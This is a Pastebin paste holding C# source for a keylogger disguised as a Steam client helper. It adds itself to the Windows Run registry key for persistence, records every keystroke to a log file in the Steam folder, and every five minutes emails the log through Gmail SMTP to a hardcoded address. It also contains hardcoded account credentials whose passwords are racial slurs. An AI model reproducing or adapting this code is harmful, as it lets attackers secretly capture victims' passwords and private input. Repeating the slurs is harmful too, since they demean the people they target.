Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.Win32;
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.IO;
- using System.Linq;
- using System.Runtime.InteropServices;
- using System.Text;
- using System.Threading;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using System.Net.Mail;
- namespace SteamClientHelper
- {
- public partial class Form1 : Form
- {
- [DllImport("user32.dll")]
- public static extern int GetAsyncKeyState(Int32 i);
- [DllImport("user32.dll")]
- static extern int MapVirtualKey(uint uCode, uint uMapType);
- public Form1()
- {
- InitializeComponent();
- }
- struct pasteBinUser
- {
- public string username;
- public string password;
- }
- private void Form1_Load(object sender, EventArgs e)
- {
- RegistryKey rk = Registry.CurrentUser.OpenSubKey
- ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
- rk.SetValue("steamclienthelper", @"C:\Program Files(x86)\Steam\steamclienthelper.exe");
- Thread _thread = new Thread(logger);
- _thread.Start();
- Thread _uploadThread = new Thread(uploadThread);
- _uploadThread.Start();
- }
- void uploadThread()
- {
- while (true)
- {
- Thread.Sleep(300000);
- pasteBinUser user = new pasteBinUser();
- user.username = "JasonB123";
- user.password = "nigger123";
- string text = "";
- if (File.Exists(@"C:\Program Files (x86)\Steam\log.txt"))
- {
- text = File.ReadAllText(@"C:\Program Files (x86)\Steam\log.txt");
- }
- File.Delete("log.txt");
- MailMessage mail = new MailMessage();
- mail.To.Add("sethkeyloggerlmao@gmail.com");
- mail.From = new MailAddress("sethkeyloggerlmao@gmail.com");
- mail.Subject = "Seth Keylogger";
- mail.Body = text;
- mail.IsBodyHtml = true;
- SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
- smtp.EnableSsl = true;
- smtp.UseDefaultCredentials = false;
- smtp.Credentials = new System.Net.NetworkCredential("sethkeyloggerlmao@gmail.com", "Nigger123*");
- smtp.Send(mail);
- }
- }
- void logger()
- {
- if (!File.Exists(@"C:\Program Files (x86)\Steam\log.txt"))
- {
- using (StreamWriter sw = File.CreateText(@"C:\Program Files (x86)\Steam\log.txt"))
- {
- }
- }
- char text;
- while (true)
- {
- Thread.Sleep(1);
- for (int i = 0; i < 255; i++)
- {
- int key = GetAsyncKeyState(i);
- if (key == 1 || key == -32767)
- {
- text = Convert.ToChar(i);
- using (StreamWriter sw = File.AppendText(@"C:\Program Files (x86)\Steam\log.txt"))
- {
- sw.Write(text);
- }
- break;
- }
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement